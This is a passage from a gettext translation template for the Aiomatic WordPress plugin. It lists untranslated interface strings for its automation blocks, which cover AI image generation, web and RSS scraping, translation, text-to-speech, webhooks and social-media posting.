aiomatic-automation.php:96 msgid "Text To Append To Each Content Block" msgstr "" #: aiomatic-automation.php:98 msgid "Text to append" msgstr "" #: aiomatic-automation.php:99 msgid "" "Set the text to be appended to each content block which was created by this " "OmniBlock." msgstr "" #: aiomatic-automation.php:103 msgid "Set The Maximum Number Of Lines To Process" msgstr "" #: aiomatic-automation.php:105 msgid "Max lines to process" msgstr "" #: aiomatic-automation.php:106 msgid "Set the maximum number of lines to process. This field is optional." msgstr "" #: aiomatic-automation.php:112 msgid "AI Image Dall-E" msgstr "" #: aiomatic-automation.php:115 msgid "Generates AI images using different Dall-E models" msgstr "" #: aiomatic-automation.php:123 aiomatic-automation.php:153 #: aiomatic-automation.php:183 msgid "Set the AI prompt which will be sent to the image generator" msgstr "" #: aiomatic-automation.php:124 aiomatic-automation.php:154 #: aiomatic-automation.php:184 #, php-format msgid "" "Set the AI prompt which will be sent to the image generator. Additional " "shortcodes you can use: %%current_date_time%%, %%custom_html%%, " "%%custom_html2%%, %%random_sentence%%, %%random_sentence2%% + Spintax, " "Synergy shortcodes, [aicontent] shortcodes and WordPress shortcodes " "supported." msgstr "" #: aiomatic-automation.php:130 aiomatic-automation.php:160 msgid "Set the AI model to be used for the image generator." msgstr "" #: aiomatic-automation.php:134 aiomatic-automation.php:164 #: aiomatic-automation.php:188 aiomatic-automation.php:212 msgid "Image Size" msgstr "" #: aiomatic-automation.php:136 aiomatic-automation.php:166 #: aiomatic-automation.php:190 msgid "Set the image size to be used for the image generator." msgstr "" #: aiomatic-automation.php:142 msgid "AI Image Stable Diffusion" msgstr "" #: aiomatic-automation.php:145 msgid "Generates AI images using different Stable Diffusion models" msgstr "" #: aiomatic-automation.php:172 msgid "AI Image Midjourney" msgstr "" #: aiomatic-automation.php:175 msgid "Generates AI images using different Midjourney models" msgstr "" #: aiomatic-automation.php:196 msgid "AI Video Stable Diffusion" msgstr "" #: aiomatic-automation.php:199 msgid "Generates AI videos using different source images" msgstr "" #: aiomatic-automation.php:205 msgid "Source Image URL" msgstr "" #: aiomatic-automation.php:207 msgid "Set the source image URL which will be sent to the video generator" msgstr "" #: aiomatic-automation.php:208 msgid "Set the source image URL which will be sent to the video generator." msgstr "" #: aiomatic-automation.php:214 msgid "" "Set the size of the image which will be sent to the AI video generator. " "Original images will be resized to the selected image size before sending." msgstr "" #: aiomatic-automation.php:220 msgid "Scrape Sites" msgstr "" #: aiomatic-automation.php:221 aiomatic-automation.php:271 #: aiomatic-automation.php:341 aiomatic-automation.php:418 #: aiomatic-automation.php:615 aiomatic-automation.php:633 #: aiomatic-automation.php:650 aiomatic-automation.php:668 #: aiomatic-automation.php:700 aiomatic-automation.php:746 #: aiomatic-automation.php:764 msgid " - Content Gathering Blocks" msgstr "" #: aiomatic-automation.php:223 msgid "Scrapes data from websites and uses it for content creation" msgstr "" #: aiomatic-automation.php:229 msgid "Scraped URL" msgstr "" #: aiomatic-automation.php:231 msgid "Set the URL to be scraped for data" msgstr "" #: aiomatic-automation.php:232 #, php-format msgid "" "Set the URL to be scraped for data. You can also add multiple URLs (one on " "each line), from which a random one will be selected. Additional shortcodes " "you can use: %%current_date_time%%, %%custom_html%%, %%custom_html2%%, " "%%random_sentence%%, %%random_sentence2%% + Spintax, Synergy shortcodes, " "[aicontent] shortcodes and WordPress shortcodes supported." msgstr "" #: aiomatic-automation.php:236 aiomatic-automation.php:306 #: aiomatic-automation.php:383 msgid "Scraping Method" msgstr "" #: aiomatic-automation.php:238 aiomatic-automation.php:308 #: aiomatic-automation.php:385 #, php-format msgid "" "Select the method to be used for scraping. This will affect the " "%%item_scraped_data%% shortcode." msgstr "" #: aiomatic-automation.php:242 msgid "Scraping Query Selector" msgstr "" #: aiomatic-automation.php:244 msgid "Select the query type you want to search for the article full content." msgstr "" #: aiomatic-automation.php:248 msgid "Scraping Query String" msgstr "" #: aiomatic-automation.php:250 msgid "Input the search query for full content searching" msgstr "" #: aiomatic-automation.php:251 msgid "" "Input the search query for full content searching. This can be the ID or " "class name you want to search for, the regex expression you want to apply or " "the XPath/CSS Selector Expression you want to query for. You can also enter " "a comma separated list of selectors, in this case, the plugin will get the " "results for all. If you leave this field blank, content will be " "automatically detected for you. Multiple expressions supported, each on a " "different line." msgstr "" #: aiomatic-automation.php:255 msgid "Strip All HTML Tags" msgstr "" #: aiomatic-automation.php:257 res/aiomatic-chatbot.php:3633 msgid "" "Select if you want to remove all HTML tags from the scraped content and " "leave only the plain textual content in it." msgstr "" #: aiomatic-automation.php:261 aiomatic-automation.php:312 #: aiomatic-automation.php:389 msgid "Maximum # Of Characters To Keep" msgstr "" #: aiomatic-automation.php:263 aiomatic-automation.php:314 #: aiomatic-automation.php:391 msgid "Set the maximum number of characters to keep from the scraped data" msgstr "" #: aiomatic-automation.php:264 aiomatic-automation.php:315 #: aiomatic-automation.php:392 res/aiomatic-chatbot.php:3652 msgid "Set the maximum number of characters to keep from the scraped data." msgstr "" #: aiomatic-automation.php:270 msgid "Scrape RSS" msgstr "" #: aiomatic-automation.php:273 msgid "Scrapes content from RSS feeds" msgstr "" #: aiomatic-automation.php:279 msgid "RSS Feed URL" msgstr "" #: aiomatic-automation.php:281 msgid "Set the URL of the RSS feed to be scraped for data" msgstr "" #: aiomatic-automation.php:282 #, php-format msgid "" "Set the URL of the RSS feed to be scraped for data. Additional shortcodes " "you can use: %%current_date_time%%, %%custom_html%%, %%custom_html2%%, " "%%random_sentence%%, %%random_sentence2%% + Spintax, Synergy shortcodes, " "[aicontent] shortcodes and WordPress shortcodes supported." msgstr "" #: aiomatic-automation.php:286 aiomatic-automation.php:363 msgid "Results Template" msgstr "" #: aiomatic-automation.php:288 msgid "" "Set the template of the resulting string, which will be built after parsing " "the RSS feed" msgstr "" #: aiomatic-automation.php:289 #, php-format msgid "" "Set the template of the resulting string, which will be built after parsing " "the RSS feed. You can use the following shortcodes, which will map to the " "values of each RSS feed item: %%item_counter%%, %%item_title%%, " "%%item_content%%, %%item_description%%, %%item_url%%, %%item_author%%, " "%%item_categories%%, %%item_scraped_data%% - the %%item_scraped_data%% " "shortcode will be usable only if you enable the 'Scrape Links' feature from " "below." msgstr "" #: aiomatic-automation.php:293 aiomatic-automation.php:370 msgid "Maximum # Of Items To Process" msgstr "" #: aiomatic-automation.php:295 aiomatic-automation.php:372 msgid "Set the maximum number of items to process" msgstr "" #: aiomatic-automation.php:296 msgid "" "Set the maximum number of items to process. This will make the plugin " "process up to the maximum number of feed items and include them in the final " "result." msgstr "" #: aiomatic-automation.php:300 aiomatic-automation.php:377 msgid "Scrape Links" msgstr "" #: aiomatic-automation.php:302 aiomatic-automation.php:379 #, php-format msgid "" "Do you want to scrape each link and extract readable content from them? Note " "that this feature will add the scraped data into the %%item_scraped_data%% " "variable, be sure to use it in the template above!" msgstr "" #: aiomatic-automation.php:319 aiomatic-automation.php:396 msgid "Process Each Result With AI Prompt" msgstr "" #: aiomatic-automation.php:322 aiomatic-automation.php:399 #, php-format msgid "" "Set the AI prompt which will be sent to the content writer, to process each " "result. Additional shortcodes you can use: %%current_item%% + Spintax, " "Synergy shortcodes, [aicontent] shortcodes and WordPress shortcodes " "supported. If you don't add the %%current_item%% to the prompt, it will be " "automatically appended to the end of it." msgstr "" #: aiomatic-automation.php:340 msgid "Google Search" msgstr "" #: aiomatic-automation.php:343 msgid "Search Google and get search results data" msgstr "" #: aiomatic-automation.php:349 msgid "Keyword" msgstr "" #: aiomatic-automation.php:351 msgid "Set the keyword for which SERP data is queried" msgstr "" #: aiomatic-automation.php:352 #, php-format msgid "" "Set the keyword for which SERP data is queried. Additional shortcodes you " "can use: %%current_date_time%%, %%custom_html%%, %%custom_html2%%, " "%%random_sentence%%, %%random_sentence2%% + Spintax, Synergy shortcodes, " "[aicontent] shortcodes and WordPress shortcodes supported." msgstr "" #: aiomatic-automation.php:356 msgid "Search Results Location" msgstr "" #: aiomatic-automation.php:358 res/aiomatic-main.php:7966 msgid "2 letter country code" msgstr "" #: aiomatic-automation.php:359 res/aiomatic-main.php:7957 msgid "" "Specifying this parameter should lead to more relevant results for a " "specific country. This is particularly true for international customers and, " "even more specifically, for customers in English- speaking countries other " "than the United States. To restrict search results only to websites located " "in a specific country, specify this parameter as: countryDE - replace DE " "with your own 2 letter country code" msgstr "" #: aiomatic-automation.php:365 msgid "" "Set the template of the resulting string, which will be built after parsing " "the search results" msgstr "" #: aiomatic-automation.php:366 #, php-format msgid "" "Set the template of the resulting string, which will be built after parsing " "the search results. You can use the following shortcodes, which will map to " "the values of each search results item: %%item_counter%%, %%item_title%%, " "%%item_snippet%%, %%item_url%%, %%item_scraped_data%% - the " "%%item_scraped_data%% shortcode will be usable only if you enable the " "'Scrape Links' feature from below." msgstr "" #: aiomatic-automation.php:373 msgid "" "Set the maximum number of items to process. This will make the plugin " "process up to the maximum number of search results items and include them in " "the final result." msgstr "" #: aiomatic-automation.php:417 msgid "YouTube Video Caption" msgstr "" #: aiomatic-automation.php:420 msgid "" "Scrapes the YouTube video captions and uses them for AI content creation" msgstr "" #: aiomatic-automation.php:426 msgid "YouTube Video URL" msgstr "" #: aiomatic-automation.php:428 msgid "Set the URL of the YouTube video from which captions will be imported" msgstr "" #: aiomatic-automation.php:429 msgid "Set the URL of the YouTube video from which captions will be imported." msgstr "" #: aiomatic-automation.php:433 msgid "Maximum Result Length" msgstr "" #: aiomatic-automation.php:435 msgid "Set the maximum length in characters of the resulting string" msgstr "" #: aiomatic-automation.php:436 res/aiomatic-chatbot.php:3802 msgid "" "Set the maximum length in characters of the resulting string. If the " "captions are longer than this value, they will shortened." msgstr "" #: aiomatic-automation.php:442 res/aiomatic-assistants.php:584 #: res/aiomatic-assistants.php:785 msgid "Amazon Product Details" msgstr "" #: aiomatic-automation.php:443 aiomatic-automation.php:474 msgid " - Amazon Blocks" msgstr "" #: aiomatic-automation.php:445 msgid "Scrapes product details from Amazon, by ASIN" msgstr "" #: aiomatic-automation.php:451 res/aiomatic-review-list.php:212 #: res/aiomatic-single-list.php:1118 msgid "Single Product ASIN or Keyword" msgstr "" #: aiomatic-automation.php:453 msgid "Example: B07RZ74VLR" msgstr "" #: aiomatic-automation.php:454 msgid "Please provide a single ASIN of an Amazon product (ex: B07RZ74VLR)." msgstr "" #: aiomatic-automation.php:458 aiomatic-automation.php:489 msgid "Amazon Associate ID" msgstr "" #: aiomatic-automation.php:460 aiomatic-automation.php:491 msgid "Insert your Amazon Associate ID" msgstr "" #: aiomatic-automation.php:461 aiomatic-automation.php:492 msgid "Insert your Amazon Associate ID (Optional)." msgstr "" #: aiomatic-automation.php:465 aiomatic-automation.php:496 #: res/aiomatic-amazon-list.php:3040 res/aiomatic-review-list.php:3117 msgid "Amazon Target Country" msgstr "" #: aiomatic-automation.php:467 aiomatic-automation.php:498 #: res/aiomatic-amazon-list.php:432 res/aiomatic-chatbot.php:3502 #: res/aiomatic-review-list.php:432 res/aiomatic-single-list.php:5897 #: res/aiomatic-single-list.php:7194 msgid "Select the country where you have registred your affiliate account." msgstr "" #: aiomatic-automation.php:473 res/aiomatic-assistants.php:583 #: res/aiomatic-assistants.php:784 msgid "Amazon Product Listing" msgstr "" #: aiomatic-automation.php:476 msgid "Scrapes product listing details from Amazon, by ASIN or keyword" msgstr "" #: aiomatic-automation.php:482 res/aiomatic-amazon-list.php:212 #: res/aiomatic-single-list.php:1102 msgid "Product Search Keywords / Product ASIN List" msgstr "" #: aiomatic-automation.php:484 aiomatic-automation.php:660 #: aiomatic-automation.php:678 msgid "Example: dog food" msgstr "" #: aiomatic-automation.php:485 msgid "" "Please provide the a search keyword for Amazon products to be included in " "the created content. Alternatively, you can provide a comma separated list " "of product ASINs (ex: B07RZ74VLR,B07RX6FBFR)." msgstr "" #: aiomatic-automation.php:502 msgid "Sort Amazon Results By" msgstr "" #: aiomatic-automation.php:504 res/aiomatic-chatbot.php:3546 msgid "Select the type of sorting of the returned results." msgstr "" #: aiomatic-automation.php:508 msgid "Maximum Number Of Products To Query" msgstr "" #: aiomatic-automation.php:510 msgid "Set the maximum number of products to add in the product listing" msgstr "" #: aiomatic-automation.php:511 res/aiomatic-chatbot.php:3530 msgid "" "Set the maximum number of products to add in the product listing. You can " "also set a variable number of products, case in which a random number will " "be selected from the range you specify. Example 5-7" msgstr "" #: aiomatic-automation.php:515 msgid "Product Listing Template" msgstr "" #: aiomatic-automation.php:517 msgid "Set what information do you want to add into each product listing entry" msgstr "" #: aiomatic-automation.php:518 res/aiomatic-chatbot.php:3569 #, php-format msgid "" "Set what information do you want to add into each product listing entry. You " "can use the following shortcodes to get data for specific products: " "%%product_counter%%, %%product_title%%, %%product_description%%, " "%%product_url%%, %%product_price%%, %%product_list_price%%, " "%%product_image%%, %%product_cart_url%%, %%product_images_urls%%, " "%%product_images%%, %%product_reviews%%. If you have access to the Amazon " "API, you can set it up in the plugin and get access to the following " "advanced shortcodes also: %%product_score%%, %%product_edition%%, " "%%product_language%%, %%product_pages_count%%, %%product_publication_date%%, " "%%product_contributors%%, %%product_manufacturer%%, %%product_binding%%, " "%%product_product_group%%, %%product_rating%%, %%product_ean%%, " "%%product_part_no%%, %%product_model%%, %%product_warranty%%, " "%%product_color%%, %%product_is_adult%%, %%product_dimensions%%, " "%%product_date%%, %%product_size%%, %%product_unit_count%%" msgstr "" #: aiomatic-automation.php:524 msgid "Text Translator" msgstr "" #: aiomatic-automation.php:525 aiomatic-automation.php:561 msgid " - Content Processing Blocks" msgstr "" #: aiomatic-automation.php:527 msgid "" "Translates text using Google Translate/Microsoft Translator/DeepL. To use " "Microsoft Translator or DeepL, add your API key for these services in the " "plugin's 'Settings' menu." msgstr "" #: aiomatic-automation.php:533 msgid "Text To Be Translated" msgstr "" #: aiomatic-automation.php:535 aiomatic-automation.php:571 #: aiomatic-automation.php:625 msgid "Input your text" msgstr "" #: aiomatic-automation.php:536 msgid "Provide the text which needs to be translated." msgstr "" #: aiomatic-automation.php:540 msgid "Translate Content To" msgstr "" #: aiomatic-automation.php:542 msgid "" "Do you want to automatically translate generated content using Google " "Translate/Microsoft Translator/DeepL to any language?" msgstr "" #: aiomatic-automation.php:546 msgid "Translation Source Language" msgstr "" #: aiomatic-automation.php:548 res/aiomatic-main.php:6845 msgid "Select the source language of the translation." msgstr "" #: aiomatic-automation.php:552 msgid "Do Also A Second Translation To" msgstr "" #: aiomatic-automation.php:554 res/aiomatic-main.php:6900 msgid "" "Do you want to automatically translate generated content a second time, to " "this final language? In some cases, this can replace word spinning of " "scraped content. Please note that this can increase the amount of requests " "made to the translation APIs. This field has no effect if you don't set also " "a first translation language, in the settings field from above." msgstr "" #: aiomatic-automation.php:560 msgid "Text Spinner" msgstr "" #: aiomatic-automation.php:563 msgid "" "Spins the text and rewrites it, making it unique. For this feature to work, " "you need to select a text spinner service from the plugin's 'Settings' menu -" "> 'Bulk Posts' tab -> 'Spin Text Using Word Synonyms' settings field." msgstr "" #: aiomatic-automation.php:569 msgid "Text To Be Spun" msgstr "" #: aiomatic-automation.php:572 msgid "Provide the text which needs to be spun." msgstr "" #: aiomatic-automation.php:578 res/aiomatic-assistants.php:590 #: res/aiomatic-assistants.php:791 msgid "Royalty Free Image Search" msgstr "" #: aiomatic-automation.php:579 aiomatic-automation.php:597 msgid " - Content Media Blocks" msgstr "" #: aiomatic-automation.php:581 msgid "" "Adds a related royalty free images to the content. For this feature to work, " "you need to select one or multipel royalty free images services from the " "plugin's 'Settings' menu -> 'Royalty Free Images' tab." msgstr "" #: aiomatic-automation.php:587 msgid "Image Keyword Search" msgstr "" #: aiomatic-automation.php:589 msgid "Set the keyword based on which royalty free images will be searched" msgstr "" #: aiomatic-automation.php:590 #, php-format msgid "" "Set the keyword based on which royalty free images will be searched. " "Additional shortcodes you can use: %%current_date_time%%, %%custom_html%%, " "%%custom_html2%%, %%random_sentence%%, %%random_sentence2%% + Spintax, " "Synergy shortcodes, [aicontent] shortcodes and WordPress shortcodes " "supported." msgstr "" #: aiomatic-automation.php:596 res/aiomatic-assistants.php:588 #: res/aiomatic-assistants.php:789 msgid "YouTube Video Search" msgstr "" #: aiomatic-automation.php:599 msgid "Adds a related YouTube video to the content." msgstr "" #: aiomatic-automation.php:605 msgid "Video Keyword Search" msgstr "" #: aiomatic-automation.php:607 msgid "Set the keyword based on which YouTube videos will be searched" msgstr "" #: aiomatic-automation.php:608 #, php-format msgid "" "Set the keyword based on which YouTube videos will be searched. Additional " "shortcodes you can use: %%current_date_time%%, %%custom_html%%, " "%%custom_html2%%, %%random_sentence%%, %%random_sentence2%% + Spintax, " "Synergy shortcodes, [aicontent] shortcodes and WordPress shortcodes " "supported." msgstr "" #: aiomatic-automation.php:614 msgid "Embeddings Result" msgstr "" #: aiomatic-automation.php:617 msgid "" "Outputs an embeddings result from the embeddings you have created in the " "plugin, based on the text input sent to this OmniBlock. Note that for this " "feature to work, you need to enable embeddings in the plugin and create " "embeddings texts, which matches the result you are expecting." msgstr "" #: aiomatic-automation.php:623 msgid "Embeddings Input" msgstr "" #: aiomatic-automation.php:626 msgid "Provide the text which will be used to generate the embeddings result." msgstr "" #: aiomatic-automation.php:632 msgid "Load File Content" msgstr "" #: aiomatic-automation.php:635 msgid "Gathers the content of a single file." msgstr "" #: aiomatic-automation.php:641 msgid "File To Load" msgstr "" #: aiomatic-automation.php:643 #, php-format msgid "" "Select the file to load into a shortcode. You can load plain text files or " "xlsx files. If you load an xlsx file, you can also use the following " "shortcodes to access xlsx data: %%xlsx_BLOCKID_XLSXROW_XLSXCOLUMN%%, " "%%xlsx_BLOCKID_column_XLSXCOLUMN%%, %%xlsx_BLOCKID_row_XLSXROW%%, " "%%xlsx_BLOCKID_row_random%%, %%xlsx_BLOCKID_row_random_check%%" msgstr "" #: aiomatic-automation.php:649 msgid "Related NLP Entities - TextRazor" msgstr "" #: aiomatic-automation.php:652 msgid "Using TextRazor API, gets related entities to keywords." msgstr "" #: aiomatic-automation.php:658 aiomatic-automation.php:676 msgid "Entities Search Keywords" msgstr "" #: aiomatic-automation.php:661 aiomatic-automation.php:679 msgid "Please provide the a search keyword for the related entities search." msgstr "" #: aiomatic-automation.php:667 msgid "Related NLP Entities - NeuronWriter" msgstr "" #: aiomatic-automation.php:670 msgid "Using NeuronWriter API, gets related entities to keywords." msgstr "" #: aiomatic-automation.php:684 msgid "Search Engine" msgstr "" #: aiomatic-automation.php:686 msgid "Set the search engine you want to use for results querying" msgstr "" #: aiomatic-automation.php:691 msgid "Search Language" msgstr "" #: aiomatic-automation.php:693 msgid "Set the search language you want to use for results querying" msgstr "" #: aiomatic-automation.php:699 msgid "Text-To-Speech - OpenAI" msgstr "" #: aiomatic-automation.php:702 msgid "Using OpenAI API, transforms text to speech (audio)." msgstr "" #: aiomatic-automation.php:710 msgid "Text to be transformed into speech" msgstr "" #: aiomatic-automation.php:711 msgid "Please provide the text which will be transformed into speech." msgstr "" #: aiomatic-automation.php:716 msgid "AI TTS Model" msgstr "" #: aiomatic-automation.php:718 msgid "Set the AI TTS model to be used." msgstr "" #: aiomatic-automation.php:723 msgid "AI Voice Selector" msgstr "" #: aiomatic-automation.php:725 res/aiomatic-chatbot.php:5273 #: res/aiomatic-spinner-list.php:4373 msgid "Select the voice to be used when generating the text to speech." msgstr "" #: aiomatic-automation.php:730 msgid "AI Voice Output Format" msgstr "" #: aiomatic-automation.php:732 res/aiomatic-chatbot.php:5298 #: res/aiomatic-spinner-list.php:4398 msgid "Select the output format to be used when generating the text to speech." msgstr "" #: aiomatic-automation.php:736 msgid "Voice Stability" msgstr "" #: aiomatic-automation.php:738 res/aiomatic-main.php:8068 msgid "1" msgstr "" #: aiomatic-automation.php:739 res/aiomatic-chatbot.php:5321 #: res/aiomatic-spinner-list.php:4421 msgid "" "Select a the Voice speed of the chosen voice. The default value is 1. Min: " "0.25, max: 4." msgstr "" #: aiomatic-automation.php:745 msgid "Webhook Listener" msgstr "" #: aiomatic-automation.php:748 #, php-format msgid "" "Using data from a webhook URL, run OmniBlock rules automatically, even when " "not scheduled. Webhook URL is: %%webhook_url%%" msgstr "" #: aiomatic-automation.php:754 msgid "Webhook API Key" msgstr "" #: aiomatic-automation.php:756 msgid "Set your API own API key which will allow access to your webhook" msgstr "" #: aiomatic-automation.php:757 msgid "" "Set your API own API key which will allow access to your webhook. This will " "prevent unauthorized requests from accessing the webhook." msgstr "" #: aiomatic-automation.php:763 msgid "Post Data Importing" msgstr "" #: aiomatic-automation.php:766 msgid "" "Returns content from a specific post ID or search query. You can get many " "specific data from a post, based on its ID or by a search query" msgstr "" #: aiomatic-automation.php:772 msgid "Post ID / Advanced Query" msgstr "" #: aiomatic-automation.php:774 msgid "Input a post ID or an advanced query" msgstr "" #: aiomatic-automation.php:775 msgid "" "Provide the post ID for which you want to query the content. You can also " "set the advanced query parameters for what posts to process. Learn more " "about these parameters here: https://developer.wordpress.org/reference/" "classes/wp_query/ - Example: to process posts from a specific category, " "insert: &category_name=category_slug - If you want to process a single post " "returned by the search query only once, you can do it by defining the " "following search parameter here: aiomatic_unique_tag=your_unique_tag" msgstr "" #: aiomatic-automation.php:781 msgid "Conditional (IF) OmniBlock" msgstr "" #: aiomatic-automation.php:782 aiomatic-automation.php:828 #: aiomatic-automation.php:846 msgid " - Logic Blocks" msgstr "" #: aiomatic-automation.php:784 msgid "" "Executes a set of OmniBlocks if a condition is met, otherwise executes " "another set of OmniBlocks." msgstr "" #: aiomatic-automation.php:790 msgid "Condition" msgstr "" #: aiomatic-automation.php:792 msgid "Set the condition to be evaluated" msgstr "" #: aiomatic-automation.php:793 msgid "" "Set the condition which will be evaluated. This will get the result of the " "condition." msgstr "" #: aiomatic-automation.php:798 msgid "Evaluation Method" msgstr "" #: aiomatic-automation.php:800 msgid "Select the method to evaluate the condition with the expected value." msgstr "" #: aiomatic-automation.php:804 msgid "Expected Value" msgstr "" #: aiomatic-automation.php:806 msgid "Set the expected value of the condition" msgstr "" #: aiomatic-automation.php:807 msgid "" "Set the expected value which will be compared with the result of the " "condition." msgstr "" #: aiomatic-automation.php:811 msgid "Condition True Blocks" msgstr "" #: aiomatic-automation.php:813 msgid "List of block IDs to execute if the condition is true" msgstr "" #: aiomatic-automation.php:814 msgid "" "Set the list of block IDs to execute if the condition is true, separated by " "commas." msgstr "" #: aiomatic-automation.php:818 msgid "Condition False Blocks" msgstr "" #: aiomatic-automation.php:820 msgid "List of block IDs to execute if the condition is false" msgstr "" #: aiomatic-automation.php:821 msgid "" "Set the list of block IDs to execute if the condition is false, separated by " "commas." msgstr "" #: aiomatic-automation.php:827 aiomatic-automation.php:836 msgid "Jump To OmniBlock ID" msgstr "" #: aiomatic-automation.php:830 msgid "" "Jumps to a specific OmniBlock ID and continues execution of the OmniBlock " "queue from that specific location. You can also add a comma separated list " "of OmniBlock IDs, in this case, the plugin will select a random ID each time " "it executes the Jump OmniBlock." msgstr "" #: aiomatic-automation.php:838 aiomatic-automation.php:839 msgid "Set the ID of the OmniBlock where to jump" msgstr "" #: aiomatic-automation.php:845 msgid "Exit OmniBlock" msgstr "" #: aiomatic-automation.php:848 msgid "" "Finishes the execution queue of OmniBlocks. This block is useful when " "combined with an IF or a Jump OmniBlock type." msgstr "" #: aiomatic-automation.php:869 aiomatic-automation.php:901 #: aiomatic-automation.php:931 aiomatic-automation.php:962 #: aiomatic-automation.php:993 aiomatic-automation.php:1018 #: aiomatic-automation.php:1063 aiomatic-automation.php:1088 #: aiomatic-automation.php:1119 aiomatic-automation.php:1150 #: aiomatic-automation.php:1188 aiomatic-automation.php:1246 #: aiomatic-automation.php:1290 aiomatic-automation.php:1320 msgid " - Content Saving Blocks" msgstr "" #: aiomatic-automation.php:871 msgid "Sends an email to your desired email address" msgstr "" #: aiomatic-automation.php:877 msgid "Email Subject" msgstr "" #: aiomatic-automation.php:879 msgid "Set the subject of the email to be sent" msgstr "" #: aiomatic-automation.php:880 #, php-format msgid "" "Set the subject of the email to be sent. Additional shortcodes you can use: " "%%current_date_time%%, %%custom_html%%, %%custom_html2%%, " "%%random_sentence%%, %%random_sentence2%% + Spintax, Synergy shortcodes, " "[aicontent] shortcodes and WordPress shortcodes supported." msgstr "" #: aiomatic-automation.php:884 msgid "Email Content" msgstr "" #: aiomatic-automation.php:886 msgid "Set the content of the email to be sent" msgstr "" #: aiomatic-automation.php:887 #, php-format msgid "" "Set the content of the email to be sent. Additional shortcodes you can use: " "%%current_date_time%%, %%custom_html%%, %%custom_html2%%, " "%%random_sentence%%, %%random_sentence2%% + Spintax, Synergy shortcodes, " "[aicontent] shortcodes and WordPress shortcodes supported." msgstr "" #: aiomatic-automation.php:891 msgid "Email Recipient Address" msgstr "" #: aiomatic-automation.php:893 msgid "Set the email address to which to send the email" msgstr "" #: aiomatic-automation.php:894 #, php-format msgid "" "Set the email address to which to send the email. Additional shortcodes you " "can use: %%current_date_time%%, %%custom_html%%, %%custom_html2%%, " "%%random_sentence%%, %%random_sentence2%% + Spintax, Synergy shortcodes, " "[aicontent] shortcodes and WordPress shortcodes supported." msgstr "" #: aiomatic-automation.php:903 msgid "Save content to file" msgstr "" #: aiomatic-automation.php:909 msgid "File Content Template" msgstr "" #: aiomatic-automation.php:911 msgid "Set the main file content" msgstr "" #: aiomatic-automation.php:912 #, php-format msgid "" "Set the main file content. Additional shortcodes you can use: " "%%current_date_time%%, %%custom_html%%, %%custom_html2%%, " "%%random_sentence%%, %%random_sentence2%% + Spintax, Synergy shortcodes, " "[aicontent] shortcodes and WordPress shortcodes supported." msgstr "" #: aiomatic-automation.php:916 msgid "File Type" msgstr "" #: aiomatic-automation.php:918 msgid "Set the file type of the saved file." msgstr "" #: aiomatic-automation.php:922 msgid "File Location" msgstr "" #: aiomatic-automation.php:924 msgid "Set the location of the saved file." msgstr "" #: aiomatic-automation.php:933 msgid "Sends text/link posts to Facebook pages" msgstr "" #: aiomatic-automation.php:939 aiomatic-automation.php:970 #: aiomatic-automation.php:1196 msgid "Page Where to Publish Posts" msgstr "" #: aiomatic-automation.php:941 aiomatic-automation.php:972 #: aiomatic-automation.php:1198 res/aiomatic-chatbot.php:3996 msgid "" "Select the page associated with your App ID, where you want to publish your " "posts." msgstr "" #: aiomatic-automation.php:945 msgid "Facebook Post Template" msgstr "" #: aiomatic-automation.php:947 msgid "Set the main Facebook post content" msgstr "" #: aiomatic-automation.php:948 #, php-format msgid "" "Set the main Facebook post content. Additional shortcodes you can use: " "%%current_date_time%%, %%custom_html%%, %%custom_html2%%, " "%%random_sentence%%, %%random_sentence2%% + Spintax, Synergy shortcodes, " "[aicontent] shortcodes and WordPress shortcodes supported." msgstr "" #: aiomatic-automation.php:952 msgid "Facebook Post Link" msgstr "" #: aiomatic-automation.php:954 msgid "Set the link of the Facebook post" msgstr "" #: aiomatic-automation.php:955 #, php-format msgid "" "Set the link of the Facebook post. Additional shortcodes you can use: " "%%current_date_time%%, %%custom_html%%, %%custom_html2%%, " "%%random_sentence%%, %%random_sentence2%% + Spintax, Synergy shortcodes, " "[aicontent] shortcodes and WordPress shortcodes supported." msgstr "" #: aiomatic-automation.php:964 msgid "Sends posts to Facebook pages" msgstr "" #: aiomatic-automation.php:976 aiomatic-automation.php:1001 #: aiomatic-automation.php:1032 msgid "Image URL" msgstr "" #: aiomatic-automation.php:978 msgid "Set the URL of the Facebook image post" msgstr "" #: aiomatic-automation.php:979 #, php-format msgid "" "Set the URL of the Facebook image post. Additional shortcodes you can use: " "%%current_date_time%%, %%custom_html%%, %%custom_html2%%, " "%%random_sentence%%, %%random_sentence2%% + Spintax, Synergy shortcodes, " "[aicontent] shortcodes and WordPress shortcodes supported." msgstr "" #: aiomatic-automation.php:983 msgid "Image Caption" msgstr "" #: aiomatic-automation.php:985 msgid "Set the caption of the Facebook image" msgstr "" #: aiomatic-automation.php:986 #, php-format msgid "" "Set the caption of the Facebook image. Additional shortcodes you can use: " "%%current_date_time%%, %%custom_html%%, %%custom_html2%%, " "%%random_sentence%%, %%random_sentence2%% + Spintax, Synergy shortcodes, " "[aicontent] shortcodes and WordPress shortcodes supported." msgstr "" #: aiomatic-automation.php:995 msgid "Sends posts to Instagram pages" msgstr "" #: aiomatic-automation.php:1003 msgid "Set the URL of the Instagram image post" msgstr "" #: aiomatic-automation.php:1004 #, php-format msgid "" "Set the URL of the Instagram image post. Additional shortcodes you can use: " "%%current_date_time%%, %%custom_html%%, %%custom_html2%%, " "%%random_sentence%%, %%random_sentence2%% + Spintax, Synergy shortcodes, " "[aicontent] shortcodes and WordPress shortcodes supported." msgstr "" #: aiomatic-automation.php:1008 msgid "Image Text" msgstr "" #: aiomatic-automation.php:1010 msgid "Set the text of the Instagram image" msgstr "" #: aiomatic-automation.php:1011 #, php-format msgid "" "Set the text of the Instagram image. Additional shortcodes you can use: " "%%current_date_time%%, %%custom_html%%, %%custom_html2%%, " "%%random_sentence%%, %%random_sentence2%% + Spintax, Synergy shortcodes, " "[aicontent] shortcodes and WordPress shortcodes supported." msgstr "" #: aiomatic-automation.php:1020 msgid "Sends pins to Pinterest boards" msgstr "" #: aiomatic-automation.php:1026 msgid "Board Where to Publish Pins" msgstr "" #: aiomatic-automation.php:1028 res/aiomatic-chatbot.php:4154 msgid "" "Select the board associated with your account, where you want to publish " "your pins." msgstr "" #: aiomatic-automation.php:1034 msgid "Set the URL of the Pinterest image post" msgstr "" #: aiomatic-automation.php:1035 #, php-format msgid "" "Set the URL of the Pinterest image post. Additional shortcodes you can use: " "%%current_date_time%%, %%custom_html%%, %%custom_html2%%, " "%%random_sentence%%, %%random_sentence2%% + Spintax, Synergy shortcodes, " "[aicontent] shortcodes and WordPress shortcodes supported." msgstr "" #: aiomatic-automation.php:1039 msgid "Pin Title" msgstr "" #: aiomatic-automation.php:1041 msgid "Set the title of the 